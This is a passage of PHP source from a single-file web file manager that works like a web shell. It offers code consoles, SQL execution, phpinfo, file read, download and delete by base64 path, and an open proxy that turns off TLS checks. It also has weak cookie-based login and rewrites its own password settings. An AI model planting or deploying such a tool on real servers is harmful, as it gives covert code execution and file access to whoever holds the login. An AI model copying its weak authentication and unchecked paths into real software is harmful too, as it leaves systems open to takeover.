	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//как-то тоже подменять надо
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

function find_text_in_files($dir, $mask, $text) {
    $results = array();
    if ($handle = opendir($dir)) {
        while (false !== ($entry = readdir($handle))) {
            if ($entry != "." && $entry != "..") {
                $path = $dir . "/" . $entry;
                if (is_dir($path)) {
                    $results = array_merge($results, find_text_in_files($path, $mask, $text));
                } else {
                    if (fnmatch($mask, $entry)) {
                        $contents = file_get_contents($path);
                        if (strpos($contents, $text) !== false) {
                            $results[] = str_replace('//', '/', $path);
                        }
                    }
                }
            }
        }
        closedir($handle);
    }
    return $results;
}


/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg_ntimes = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg_ntimes .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg_ntimes .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg_ntimes .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg_ntimes .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg_ntimes .= __('File updated');
				} else $msg_ntimes .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg_ntimes .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title>Bar-KnOW</title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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");
}

.file {
    background-image: url("data:image/png;base64,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